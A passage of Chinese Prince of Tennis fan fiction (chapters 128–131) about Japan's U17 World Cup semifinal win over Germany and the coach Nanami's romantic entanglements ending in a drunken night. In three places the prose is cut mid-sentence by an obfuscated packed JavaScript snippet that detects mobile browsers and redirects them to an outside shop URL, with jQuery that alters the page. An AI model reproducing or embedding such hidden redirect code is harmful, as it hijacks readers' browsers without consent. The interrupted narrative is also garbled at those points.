“来吧!” 他们抱着绝对不能输给对方的执着信念,奋战到现在。 这一刻,比拼的或许早就不止是技术,而是一个人的胆识、根性、经历、觉悟。 他们将过往15年的全部青春都赌在了这颗小球上! 战斗!战斗!战斗! 结局未定,然而所有人都已明白,这场比赛必定会被世界铭记,载入史册! “Game日本,6-5!” “Game 德国,6-6!” 再次进入赛末点! 一次次进攻,一次次反击,背身反手,截击,扣杀,高吊球,切削球,零式下曲球,他们使尽浑身解数,彼此的信念毫无二致——绝对不能让对方拿下最后一分! 比赛进行到这里,他们所展示出的集中力、技术、体力、创造力已然证明了一件事—— 这两个人早已成为了这个时代网球界新的领航者,前浪耀眼,后生可畏。 幸村精市追赶着,跑动着,鞋底与硬地发出刺耳的摩擦声。 【手冢国光,你作为一名网球选手,拥有着充满光明的未来,但是,这次比赛我一定会赢!】 最后一球! 赛场上陷入了一片寂静—— “啪嗒。”是小球落地的声音。 “比赛结束......” “胜者是——” 129.第 129 章 “胜者是——德国!” 最后一球居然是吊高削球!德国队赢了!霎时间,欢呼声和掌声交织在一起,如潮水般汹涌而来,德国队的旗帜被大力挥舞着,人山人海掀起的声浪几乎要冲散整个体育场。 两人再次在网前见礼,幸村精市绽放出了一个浅笑: “多谢了,手冢。”那是对实力相当的对手的钦佩与感谢。 “啊。是一场很好的比赛。”手冢国光点了点头。 比赛结束,他走到了她面前,还没等他开口说什么,七海便伸出手轻轻抱住了浑身是汗的他。 幸村精市感受着这个轻柔的拥抱,眉眼间流露出难以言喻的复杂神情,他并没有和在病房那天一样用力地抱回去。 上次她主动抱他是在病房,为了鼓励他,那这个拥抱呢,是为了安慰他的败吗。 松开手,少女深紫色的瞳孔中沁满温柔,她凝望着他柔声开口: “精市,你已经做得很好了。千万不要觉得抱歉,你从没辜负过大家对你的信任。”七海弯下腰拿起他的外套,轻抖了抖,披回了他的肩上。 “七海......”可他终究是输了。 “呐,精市,今天的比赛结束后,我找你有点事。现在你先去休息吧。”七海笑眯眯道。 “......好。”幸村精市最终还是默然点了点头,回到了后方的坐席上。刚才的比赛他的体力被大量消耗,现在需要适当地休息,补充水分和盐分。 少年离去,七海垂下头看着手机中的短讯,神色晦暗不明。方才三船入道又给她发了几个赞助商签约幸村精市的邀请,让她去和他们谈。 有件事,或许是时候和他说了。 那时是她欠考虑,如今,也该还他自由。 罢了,如今还是先关注场上的比赛吧。这么想着,七海将手机收回衣兜,将视线转回赛场边。 目前德国队两胜一败,如果再让他们赢得这一局,日本队败局注定。 所以这一场双打,他们绝不能输! “种岛,赤也就拜托你了。”七海起身走向正准备往赛场上走的两人。 “二阶堂,放心吧。”种岛修二轻笑着,将胳膊挂在切原赤也的肩上,拢了拢少年的脖子,随后松开。 “公主殿下,我会证明给大家看的。”切原赤也的墨绿色瞳孔中燃烧着战火,他的语气......是前所未有的认真。 七海站在原地怔愣了好一会儿。 她见过切原赤也咋呼的模样,见过他抓狂的模样,见过他疯狂、狼狈、委屈、各种少年情态的模样。 可此刻,她第一次看到他露出几乎可以称之为“沉着冷静”的表情。她突然有些哽咽——赤也,你也成长了啊。 那个曾经冒冒失失,笨拙冲动,有着十足孩子气的叛逆少年,不知何时也展露出了能够独当一面的气质。 这一抹气质她是熟悉的,站在他身后的许多人都拥有这样的气质,精市,真田,柳...... 这才是,立海大培养出来的后继之人。 很奇怪,之前的几场比赛她都没有感动落泪的冲动,可眼下,她的眼眶却止不住地泛红。 “公主殿下,你怎,怎么了!”切原赤也发现眼前少女泛红的眼眶,又一键切换回了不知所措,着急忙慌的不成熟模样。 她想她该顺从自己内心的冲动。 七海上前迈了一步,轻轻抱住了少年。 “赤也,你的公主殿下永远相信你。”她清丽而笃定的声音在他耳畔轻轻响起。“去吧,去取得胜利吧,赢给那些信任你的人看。” 松开手看向少年的脸——“赤也?你怎么突然恶魔化了?!”七海大惊失色。 切原赤也面红耳赤,头顶隐有烟气蒸腾而上,除了眼睛看起来还很正常,完全就是陷入了恶魔化才会有的脸色。 “没,不是,我才没有恶魔化!!”切原赤也磕磕巴巴地解释着,站在一旁的种岛修二笑容变得意味深长,坐在教练席上目睹着这一幕的平等院凤凰不知为何也冷嗤了一声。 “没有吗......嘛,不管这个了,你们要准备上场了吧。” “那天在网球场我对你说的话,我相信你都还记得。” 她轻点了点他手上的护腕,嫣然一笑:“赤也,keep yourself,去吧。” 第一双打比赛即将开始! “国光,你就等我们赢了这场比赛,再打赢西班牙,让你抱得美人归,嗯?”德国队选手席边,塞弗里德笑得贼兮兮,冲着手冢国光挑了挑眉。 手冢国光的唇角居然微不可见地上扬了一度。 然而,比赛刚开始,后场就传来了细微的骚动,七海转过头,瞳孔骤然缩紧—— 站在日本队应援团最后排穿着美国队制服的小少年,不是越前龙马又是谁。难道,西班牙队对美国队的比赛已经结束了? 好快......这边才刚结束三场比赛,莫非西班牙队三连胜了? 顾不得多想,她再次站起身向后排快步跑去。 “越前!西班牙队对美国队的比赛结果怎么样?”她的语气带上了一丝急切。 “二阶堂学姐,和你预测的一样,美国队输了。”越前龙马满脸无奈,而且还是三连败,也差得太远了。 两连败后莱因哈特上了单打二,让他去单打一,结果还没轮到他比赛就结束了。 少年将比赛结果大致告知,七海又语速极快地追问:“莱因哈特的网球有没有被剥夺?”这才是她最关心的事,即使她没有感受到封印被破开,可她还是要再确认一次。 越前龙马沉了沉眸色:“没有,二阶堂学姐。”那个家伙,在场上不知道使出了什么技能,打过来的球莱因哈特根本无法捕捉到。 总觉得......就算有可能被剥夺网球也想和他打一场,果然他还是想和那个人......打一场。 七海垂下头抚了抚胸口,狠狠舒了一口气,“那就好。” 两人相视无言了一阵,七海忽地想起了一个问题。 “呐,越前,没有来日本队,后悔吗?”假如越前龙马回到了日本队,至少不至于半决赛连上场的机会都没有,如果日本队赢了德国队,他大概还有在总决赛登场的机会。 “別に。”越前龙马撇了撇嘴,“我不在你们不是也打得挺好的。” 七海失笑,“越前,我好像闻到了一股醋味哦。” “是想过回来,但是留在美国队打比赛也没什么区别。”越前龙马喃喃着,接着勾起了一个嚣张的笑容,“早晚有一天,我要把你们所有人都击败!” “越前。”七海正欣慰着,从过道左边传过来一道熟悉的声音,她侧过头心下了然,她就知道他会出现在这里。 “部长。”越前龙马愣了愣。 出现在两人跟前的正是刚打完比赛的手冢国光,他已穿上了制服外套,身上的汗也不知何时被擦净了,方才在赛场上锐利如鹰的冷峻目光已不见踪影,取而代之的是金边眼镜下温润平和的神色。 “越前,看来你已经找到了自己该走的路。”手冢国光沉声道。 “美国队还会卷土重来的。论打网球,我绝对不会输。”帽檐下的嘴角轻轻扬起。 手冢国光目露赞许之色:“啊。我们都不要大意地上吧。” “知道了。二阶堂学姐,手冢部长,我就先回去了。”越前龙马摆了摆手转身便准备去和美国队的少年们汇合,紧接着,他像是又想起了什么,侧过头十分臭屁地扔下一句话: “部长,可别输给那两个人。You still have lots more to work on.” “啊。”他扶了扶眼镜。 目送着小少年走远,两人的视线这才在空气中再次相撞。 七海笑了笑,“国光,恭喜你。” 手冢国光却并没有立刻回复。此刻的他出现在这里,到底是不是为了找越前龙马只有他自己心里清楚。比赛结束后,他的脑内无法自控地反复浮现出方才比赛时出现过的画面。 相片上,她穿着德国队的制服站在他身边巧笑倩兮,他们在楚格峰顶的晨曦中紧紧相拥......然而一切都碎了,斑驳可怖的裂痕一道道贯穿过这些画面。 他......失去了她,他的未来没有她,即使此刻的他已赢得比赛,改变了未来。 “国光?”七海眨了眨眼,他对她的话毫无反应,好罕见。 “七海。”他只是喊着她的名字,眸光深邃,却没了下一步行动。 七海心下蓦然涌起一股莫名的慌乱,她理了理心绪,语气总算归于平静。 “国光,恭喜你。接下来你应该可以和西格蒙德签订职业选手的合约了,我就先回日本队教练席了,你也回去继续观赛吧。” 决意不再等待他的答复,她转身下了台阶。 回到教练席时,场上已经进入了第二盘。 “好快......”七海在平等院身边坐下,喃喃自语着,大屏上的比分赫然写着6:4,第一盘的胜者......是日本队。 “平等院,第一盘发生了什么?”她侧过头问道。 “呵,和你想的一样,德国队的那个小鬼邀请切原打单打。”平等院凤凰冷笑着。用邀请这个词算是过分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333839|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客气了,实际上是疯狂使用激将法。 “看来,他没有同意。”七海勾了勾唇。“本该如此,种岛可是仅次于你的日本第二,放着这么厉害的王牌不用,打什么单打嘛。” “我看那小子是怕这场比赛输了你就跑去德国队,所以才不敢掉以轻心。”平等院面无表情地斜睨了身边的少女一眼。 “不,是他已经成长了。”七海认真道。 然而,第二盘盘中,塞弗里德和切原赤也还是因为天衣无缝和集中爆发的过度使用而失去了上场能力,被抱回了选手席的休息长椅上。 抢七先生拿下第二盘!此刻的切原赤也和塞弗里德也终于从脱力中恢复过来。 1:1平,进入第三盘决胜局! “Du hast einen vogel!”一开场,塞弗里德便开始挑衅对场的切原赤也。 “听不懂!谁想理你啊!”切原赤也怒吼着,把球狠狠砸向塞弗里德的一侧场地。 种岛修二的不会无配合切原赤也的集中爆发快速拿下前两分,占据了先机。而对场,面对困境,塞弗里德陷入了迷茫与挣扎中—— “塞弗!你该做的事不是成为矜持之光,而是打赢这场双打!” 博格一声怒吼,在少年的心中掀起滔天巨浪。 此刻,内心的桎梏彻底粉碎。塞弗里德放下了过往万年老二成绩的执念,放下了对矜持之光的执念,终于领会到了双打的真正意义。 下一个瞬间,德国队的双打默契配合达到了前所未有的高度,实现了能力共鸣并同调。 原本的二对二局势,转眼间变成了四对二的局面。巧妙的伪气息战术,使得种岛和切原误判彼此的动作,这是德国分裂双打的又一精妙策略。 局势再次逆转,日本队陷入了重重围困之中! “Game德国,4-5!” “Game德国,5-5!” 与此同时,切原赤也的体内出现了两道声音,那是来自天使与恶魔的呢喃,声声呓语似乎要逼他在二者之间做出选择,释放恶魔还是不释放? 不,有个人曾告诉他,还有个更好的选择。 【“歌德曾说过,阳光越是强烈的地方,阴影就越是深邃。”】 【“天使和恶魔,正如阳光与暗影,或许本就是一体两面,共生共存的呢?”】 “无论是恶魔还是天使都要服从我!”少年怒喝着,瞳孔发出青色的耀眼光芒,身后出现了两道不同的虚影,形势再次扭转! “Game 日本,6-5!” 赛场上,实现能力共鸣并同调的一边与实现天使与恶魔共存的一边陷入激战。 最后的决胜一球! “更互无——” 种岛修二果断将自己的能力转移到了切原赤也身上——他使出了他的绝技"不会无”! “比赛结束,日本队获胜!” ----------------------------- “公主殿下!我做到了!!” 切原赤也一赢得比赛便冲向了离他最近坐在教练席上的七海。 “公主殿下!你说的那个什么阴影阳光!!啊!总之我做到了!!”小海带脸上洋溢着兴奋,冲到场边抓起少女的双手就是一阵摇晃。 七海耐心复述:“歌德曾说过,阳光越是强烈的地方,阴影就越是深邃。” “对对对,就是这句!”切原赤也疯狂点头。 “赤也,你很好地证明了自己。刚才的比赛体力消耗很大,快去休息吧。”她站起身揉了揉少年的头,切原赤也方才还正常的面色不知怎么地又涨红成了一片。 “幸村部长!!!真田副部长!!柳学长!!我赢了!!” “接下来我要把你们也一个个击败!哈哈哈哈哈!” 默默注视着乐不可支心绪过分激荡的切原赤也跑到选手席上,再次迎接伙伴们的祝贺和欢呼,七海转回了身。 眼下,身后的欢呼声,议论声,都不重要了。 因为, 第一单打,决定前行与落幕的半决赛决胜局即将开始! 平等院凤凰已从长椅上站起,种岛修二站定在他面前。 “两年前的事,让你十分不甘心吧?去拿下这场比赛吧,哪怕你的对手——是世界最强的对手。” “种岛,你怎么和二阶堂那个蠢货说的话都一样。”平等院冷声,种岛修二呆愣了几秒,随即反应过来,冲着七海俏皮一笑。 “平等院,”七海仰头望着他语气凝重。“好好活着打赢比赛回来。” “二阶堂,等着,老子会赢给你看。” 130.第 130 章 U17世界杯官网炸了。 太多人在同一个时间段反复点开网页,查看半决赛的最新结果,只要刷新网页一次,讨论区的帖子便会换成新发的帖子,而这一切帖子讨论的内容有且只有一项—— 日本队成为本次U17世界杯最大黑马,战胜了德国队! 排名23位,第四梯队的吊车尾日本队,战胜了九连冠的世界第一德国队!! 千叶桃子和吉川阳菜坐在观众席上,两个脑袋瓜凑在一起,拿着手机疯狂地划拉,浏览着官网上的帖子。 “阳菜,看看这个帖子!”千叶桃子指向标题为“半决赛赛后集中讨论楼”的帖子,吉川阳菜从善如流地点开,张大了嘴。比赛明明才结束,楼层却已经高到了三千多条。 L3:啊啊啊啊啊啊啊啊我不能接受德国队输啊!!差一点就十连冠了! L14:其实日本队能胜利也不意外,除了循环赛连败给瑞士队,其他比赛全都是三连胜 L130: 该不会日本队真的会像开幕式时那个女教练说得那样,拿到世界第一吧! L150:那个教练信的什么教,我也去信一下,还是我拜她比较合适? L355:日本拿世界第一就算了吧,西班牙队对美国队可是三连胜,日本队三胜两败赢得可不容易 L498:我要爱上日本队了!不觉得他们的颜值都很高吗!尤其是那个Yukimura!之前和韩国队打练习赛的时候就很帅啊! L504:对手的Kunimitsu更帅好不好!德国队明年继续拿第一!! L519:那要这么说,分明是西班牙队的Ryoga更帅! L647:只知道看脸的肤浅的人真多。难道不是日本队居然几乎全身而退更可怕吗?除了单打三和单打一那两个长得有点老的高中生受了点轻伤,其他人都没怎么受伤 L812:最可怜的是那些在皇冠赌场赌德国队赢的人吧,全都赔完了 L1211:我就是,fuck,不管了,剩下来的钱全部投西班牙队赢! L1677:我总有预感,那个二阶堂教练说的话会成真......不管了,我下注日本队! “阳菜,你说我们要不要也去下注?”千叶桃子似乎在认真思考可行性。 吉川阳菜额角出现了具现化的井字:“笨蛋,我们未成年,不能赌球!” 同一时刻,赛场上两边队伍在网前见礼—— 三船入道双手抱臂:“怎么样,雷特鲁,我们带出来的人还不错吧。” “三船,我还能说什么呢,不愧是你啊。”雷特鲁笑容满面。 “只是可惜了,本想德国队十连冠就带七海走的。”雷特鲁将视线移向站在三船入道身侧的少女。 七海的眼中闪过一丝歉疚,随即俏皮道:“抱歉啦,雷特鲁教练。” “七海,你要是打算跳槽,随时欢迎你来。” “雷特鲁,这话就过分了,七海可是日本队的人。” 雷特鲁又将和煦的目光移向身旁的一溜少年们,塞弗里德已经从方才的悲痛抽泣中缓了过来,其他人的情绪表面上看起来都还算平稳。 “大家真的很了不起!这次日本队打败了你们,成为了这场比赛的胜者,正因为网球必定存在胜者和败者,所以才有趣啊——”雷特鲁笑道。 “下次就轮到你们了,好了,昂首挺胸的回去吧!三船,晚上的聚餐别忘了。” “晚上见。”三船入道点了点头。今晚,不仅是选手们,这群少年们身后的国家队教练监督们亦将聚在一起共襄盛宴。 德国队的少年们鱼贯而出,却有一个人落在了后面,他停下了脚步,转过身来。 三船入道了然:“七海,快去快回。” 她于众目睽睽下向他走去。 “国光......”她微微仰头望着他,不知道该说什么,两人之间的空气有些沉闷。 手冢国光默默地注视着眼前的少女许久,镜片反着光,遮住了他有几分晦涩的目光,他开口,语气平静: “七海,抱歉。我们输了,没能留住你。” “国光,不用道歉......我......”她下意识想反驳,可她该反驳什么,说她要去德国队吗,他们都知道这不可能。 是,是她那天随意的一句话,给了他那么大的希望。 他是不是觉得,如果她能和他回去,他就不会,独自一人前行...... 天呐,她到底那天为什么要说出那句等德国队十连冠再说,二阶堂七海,你到底干了什么...... 手冢国光似是完全看懂了她内心的挣扎,再度向她走近了一步,抬起手,顿了顿,最终还是如过往三年那般轻柔地揉了揉她的头。 “七海,你们很强,祝日本队能够顺利夺冠。”他平和道。 话音落下,少年人并未多作停留,转身大步离去,不再回头。 她呆愣愣地看着他决绝离去的背影,心中仿佛有什么在一瞬间崩塌了。 失魂落魄地折返,转头的刹那,七海将刚才心上泛起的过分纷杂的情绪强行塞进黑匣中锁上。 精神力强也算有好处吧,自从熟练学会用精神力制造“牢笼”,只要她想,她也能如欺诈师一般将不该出现的情绪困住隐藏起来了。 他们赢了,她应该只剩高兴才是。 再次抬头望向网前等待着她的少年们,她热泪盈眶。 “我们赢了!!我们真的赢了!!”她不再掩饰自己的笑意,下一瞬却又捂住了下半张脸。 “平等院,你真的做到了......大家都没有受重伤......”七海咬着下唇,试图阻止自己哭得更厉害,只是徒劳,肩膀随着抽泣声不住地耸动着,整个人看起来要多狼狈有多狼狈。 “二阶堂,老子活得好好的,不许哭了。”金发少年嘴上不耐烦,眼角眉梢却带着笑意。 “我就要哭,平等院,你凭什么不让我哭......”她抽噎着,还不忘在间歇不服气地瞪回去。 “......老子真是欠你的。”他轻叹了口气。 ------------------------------- 今夜选手村的主餐厅安排了丰盛的晚宴,少年们先行乘坐巴士回到日本队住宿楼进行简单修整。 七海约了幸村精市在休息室见面。 她坐在空无一人的休息室的沙发上,笔记本摊开置于膝盖,左手翻看着手机屏幕上不同的赞助商信息,右手握着圆珠笔在本子上时不时写写画画着。 窗外的落日已渐渐西斜,温暖的光线透过玻璃洒进室内,在她的身上和笔记本上投下不规则的光影。 “七海,找我有什么事吗?” 七海回过头去,幸村精市站在不远处,眸光灼灼地望着她。 夕阳为他柔和的面庞上镀上一层暖金色的光泽,也跳进了他蓝紫色的瞳孔中,可他的神情看起来......并不似今天的夕阳那般柔和,掺杂了一些晦暗难辨的情绪。 七海莫名回想起了在洛杉矶海岸边的那个黄昏,他似乎也是这样的表情,心口忽地紧了紧。 她还是回了一个柔和的笑容。“精市,你来啦。” 她合上手中的笔记本,将其放在一旁,起身走向少年。黄昏的余晖跟随着她走动的步伐在她的身上跳跃。 幸村精市默默地看着她身上的光影随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352684|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移动变幻着,深紫色的瞳孔中反射出夕阳的金光,柔顺的黑发随着动作轻轻摆动着,那是很美,很美的一幕。 “精市,你喜欢法国吗?”她扔出了个没头没脑的问题。 幸村精市愣了愣,还是照实回答。“我一直对法国很感兴趣。” 七海对于这个答案并不意外,她知道他喜欢很多与法国有关的事物,雷诺阿,法国史,那是一个和他高雅的品味很契合的地方,她暗自放心了些。 “精市,其实从上次的韩国队练习赛开始,就有几家赞助商找上门来。今天就更加了。” “一开始,我让你成为我的职业选手,加入我和景吾办的俱乐部,那时......”七海忍不住咬唇,挣扎了一会儿,还是继续说了下去。 “那时,我没有考虑过你们两个人的......关系,后来,我才意识到或许你并不是那么愿意留在这里。” 他会愿意受制于迹部财团的要求吗,明知迹部景吾是继承人,他们两人还是那样的竞争关系。 她当时从未意识到这一层问题。 倘若等故事结束,她真的要离开了,眼下正好可以趁现在为他安排好未来的道路。 幸村精市沉默不语,他隐隐有些猜到她要说什么了。 “精市,其实你可以考虑加入法国职网,加缪一定很欢迎你,他是个很负责很不错的队长,恰好我手头上挑拣出来的赞助商里也有法国的几个品牌。”她终于把要说的话说出来了。 七海转身小跑回沙发边拿起了放在茶几上的笔记本,再次小跑回少年面前,垂头看着笔记本上的内容一条条碎碎念着。 “法国有很多印象派画展,也有很多音乐会,美术馆也很多,你的法语又很好......” “是因为我输了吗?”他打断了她的话。 “七海,我输了比赛,你就要赶我走吗?”她猛地抬头,看到他的面色平静,她却心下一慌。 七海急急忙忙开口反驳:“不是的。只是我觉得你也该有自由选择的权利,不是非得留在我这里不可,而且我也是法国队的顾问。” 幸村精市静静地注视着眼前的少女,窗外的夕阳慢慢下坠,打在她身上的温暖余晖渐渐变淡,直至消失不见,她隐入了暗影中。 他的目光也在暗室中逐渐变得深邃莫测,让人难以捕捉其中的情绪。 “除非你从我的记忆里离开,我才能自由。” 她侵占了太多他的记忆,这一年,他经历了人生的多次剧变,可每一次都有她的参与。 自作主张进入他的人生是她,这时候说要放他自由的是她,不觉得太可笑吗? “精市......”她双唇微张,震骇地望着眼前的人。 这句话,这份情,似乎有些太过浓重了。 早已, 完全, 超过了, 她的想象。 他自嘲似的笑了笑,“七海,那天我说你选择谁都可以,可是我只希望你选择我。” “你还不明白吗?” “七海,我很喜欢你,我只喜欢你。你呢,你又要拒绝我了,是吗......” 大约是早就知道她无法给出他想要的答案,就像他告白那天,就像在洛杉矶的那个黄昏,他不想一次又一次地听到她的拒绝。 话音落下,他和他一样,并未多作停留,转身大步离去,不再回头。 不知过了多久。 “啪嗒。” 手中的笔记本和笔从手心坠落,砸在地上。 圆珠笔顺着地板一路向门外滚去,直到消失于走廊的暗影中,被另一只手捡起,紧紧攥在手中。 空气中响起一声似有若无的轻叹。 131.第 131 章 “斋藤,你的教练证借我用一下。”酒吧的木门口站着一高一矮两道身影。 斋藤至面露忧色:“小七海......你真的没事吗?”眼前的少女看起来十分平静,反而是太过平静了,他才忍不住担心。 “我没事,日本队赢了德国队,我只是太高兴了,想喝几杯罢了。” 她突然放轻了声音,“斋藤教练,既然你已经知道了我的秘密......让我也发泄一下吧。” “......好吧。不过,今晚我要和夫人通电话,我就不留在酒吧了。小七海,你千万别喝醉了。”他站在酒吧门口再三叮嘱着。 七海勉强自己勾出一个浅笑:“我的酒量,你放心吧。” 推开木制大门,一股淡雅的檀香扑面而来,揉合了萨克斯风、钢琴和bass的爵士乐在空气中流淌。 吧台后墙上摆放着琳琅满目的酒类,在顶灯的照耀下流转着琥珀色的光芒。 梳着背头面容清俊的调酒师站在吧台边百无聊赖地擦着杯子,周围的坐席区域则被暗色调的灯光笼罩,光线柔和而阴暗。 吧台边,坐着一道似乎有些熟悉的背影,这个发型,这身浴袍,这个背影是...... “南次郎前辈?”七海不确定地开口。 黑色身影转过头来,将口中的牙签取下:“这不是七海吗?” “南次郎前辈,再过两天就是总决赛了,您怎么在这里一个人喝酒?”七海走上前,在隔了几个位置的高脚椅上坐下,侧过头看向那位传奇的武士。 昏黄的灯光下,那位姿态一向吊儿郎当的武士南次郎,线条分明的侧脸,似乎透着一丝愁绪。 “我正准备走呢,晚上有和三船那几个家伙的聚餐。你们这群少年今天晚上不是也有聚餐,你不去参加吗?”越前南次郎起身,将台面上的酒一饮而尽,脚步有些虚浮。 “最近总感觉头晕呢,啧。”他在浴袍上随意擦拭了两下手,将牙签塞回嘴中,向门口走去。 “我已经去过了......南次郎前辈,如果总是感觉头晕,还是去医院检查一下比较好。”七海的心不知为何漏跳了一拍,曾经,她就是突然晕倒,然后...... 她的语速突然变快了,转过椅子冲着背影大喊:“不,南次郎前辈,趁着这两天休赛,您就去医院检查一下吧!做个脑部CT什么的......” 她也算是久病成半医,见多世面了,突发的高频头晕很有可能是大脑出了问题。 越前南次郎走到半途,却因为她话语中的急切与担忧停下了脚步,转过身来调侃道:“少女,你怎么也和菜菜子一个性子。” 话语中透出的满不在乎令她皱起眉,七海再次无奈开口: “南次郎前辈,偶尔也要相信女人的直觉,去看看吧。” “哎呀呀......我知道咯。”穿着黑袍的懒散背影随意挥了挥手,晃荡着身体走出酒吧。 酒吧内重归宁静,除了她和吧台边的调酒师再无一人。 “Bartender,麻烦上些烈酒......”黑匣中的情绪已尽数释放,她迫切地需要酒精麻痹自己的神经,如此才可把过往全部忘却。 眼前的酒液在昏暗的灯光下折射着摇曳的光泽,七海呆呆地盯着玻璃杯中的酒液,一次次拿起杯子将杯中的液体尽数吞下。 烈酒灼烧着她的喉咙,带来一阵阵钝痛感,但她却如上瘾一般无法停止。 意识在酒精的作用下变得越来越混乱,大脑仿佛被笼罩在一片迷雾之中,不久前的对话在迷雾中化为一阵又一阵的呓语,像是卡壳的录音机反复播放着。 【七海,我输了比赛,你就要赶我走吗?】 【七海,对不起,我们输了,没能留住你。】 【除非你从我的记忆里离开,我才能自由。】 “为什么,明明赢了比赛,我还是这么难受......”少女喃喃自语着,左手不自觉抚上心口,泪水顺着泛着红光的脸颊一滴滴滑落。 再次抬起通红酸涩的双眼,望进空荡荡的玻璃杯中,里面只剩下浅浅一层残余的琥珀色酒液。 “不管是什么,能醉人的就好......麻烦再上一杯......谢谢。” “这位客人,如果你有这样的打算,请留一个联系人的电话。”酒保递过来一张纸条,七海在朦胧中下意识写下了那个人的号码。 她将放到面前的酒再次仰头一饮而尽。 ...... 不知喝到第多少杯,她的太阳穴突突直跳,七海皱起眉头,虚浮地捂住额头,试图缓解那阵阵袭来的头痛。 眼睑沉重,视线也变得模糊不清,她像是置身于一片朦胧的水雾之中,每一次呼吸都让她感到一阵阵恶心,满嘴酒气。 大脑如同被一层厚重的棉花包裹着,思维也越发迟钝,时而清醒,时而又陷入恍惚的意识状态。 难得维持清醒的时刻,她意识到自己好久没有这么酩酊大醉过了。 她的脑中又闪回了那些代表着离别的、不知道从哪里硬塞进来的记忆碎片。 真是糟糕,她以为自己喝醉了就会忘记那些内容,结果却适得其反,大概还是不够醉吧。 七海再次抬起头,“麻烦......” 下一瞬,她的手被人死死攥住。 这样的攥法,似乎是有些熟悉的。 “二阶堂,你不能再喝了。” 这句话,似乎也是有些熟悉的。 她将视线右移,一片朦胧中,她看到了他紫灰色的发丝,以及他脸上又惊又怒的表情,他轻喘着气,大约是一路快跑过来的。 “迹部景吾,你别管我了......”她的声音不轻不重,只是一个字一个字说得似乎极其艰难,像是穿过迷雾而来。 迹部景吾气极反笑,“不是你让我来的吗?二阶堂,你又要像去英国那样,一下让我来,一下让我走?” 不想找那两个人的时候才来找他,心受伤了才来找他,他是什么退而求其次的选择吗? 回想起几小时前的黄昏,那支滚到他面前的圆珠笔,那些他无意听到的话,再看向此刻喝得醉醺醺的她,繁杂心绪在血液中乱窜,冲撞着他的理智。 “是我让你来的吗......对不起,我不知道......”她喃喃着,左手再次抚上眉心,皱起眉。 “二阶堂,你喝醉了,我带你走。”他仍紧紧攥着她的右手腕骨,声音发冷。 “我才不要......我还记得......”她的声音越来越轻,头垂得越来越低。 他气得口不择言:“你要等那两个人来接你吗?好,如果你要等他们,我现在就联系他们。” 她一瞬间慌乱起来,她当然知道他说的那两个人指的是谁,“不,景吾,别,别喊他们......” 下一秒,泪水顺着眼眶一滴滴落下,其中一滴砸在了他的手臂上,温热灼烫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369770|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在赛场和休息室的对话已经是她强撑出的若无其事的极限,再见到他们她怕她的情绪只会崩溃得更彻底。 “二阶堂。”他的声音低哑,饱含前所未有的苦涩,“只有那两个人才会让你心痛流泪,是吗?” “不是的......”她的声音哽咽着,泪水流得愈发汹涌肆意,似乎证实了她的话都是谎言。 “那你现在在哭什么,啊恩?”他强掩住愤怒,却没能掩饰住自己的不甘。 她一言不发,只是流着泪。 “告诉我,你现在在哭什么?”攥着的手猛地将她向他拉近,他突然清晰地看清了她瞳孔中未能隐藏好的痛楚。 她沉默半晌还是缓缓开口:“景吾,你知道吗,我大概已经感觉到了,世界杯就是这个故事的结尾了......” “可是我连结尾时自己能不能留在这里都不知道......我能给谁交代呢......” “景吾,我好不甘心啊......” 她以为他们是他人笔下的角色,自己是旁观者,不知何时她才终于发现,终于醒悟,自己才是那个真正的提线木偶。 “我现在才发现,真正身不由己的人......原来不是你们,而是我。” 顺着醉意,她不知道断断续续说了多少真话和胡话,直到几乎快失去意识,终于被迹部景吾打横抱抱在怀中,一步步走出酒吧,向日本队的住宿楼走去。 夏夜的热风吹拂着小道上的两人,吹干了她脸上的泪,却未能吹散他的怒气。 他们与他们在一处昏黄路灯下狭路相逢。 “七海!” 怀中的少女面颊潮红,闭着眼双眉微蹙,两鬓凌乱的发丝因为泪水粘附在脸上。 她的头靠着少年的肩膀,黑发柔顺地披散而下,左臂无力地垂落着,随着他的步伐轻轻摇动。 路灯另一侧的两人还未多走近,一身的酒气便扑面而来。 “她喝酒了。”手冢国光的眉头蹙得很深。 “她怎么醉成这样。”幸村精市面色冷厉。 迹部景吾紧了紧怀中的人,又抬头望向面前的那两个人,语气不善:“你们知道她的性格,知道她的不得已,知道她的往事,为什么还要说那样的话?” “手冢,你只有这点本事吗?德国队拿不到十连冠,你就留不住她吗?要是这样,我看你不如趁早放手。” “幸村,她那么说分明是为你考虑,你明知道她不是因为你输了比赛才这么说!” 接连三句毫不客气的质问令路灯对侧的两人僵立在原地,再无法向前行进一步。 又是一阵微风拂过,原本熟悉的温热触感,如今好似也变得冰冷刺骨,将人裹在一层薄薄的冰霜之中。 他的郁气尚未发泄完。 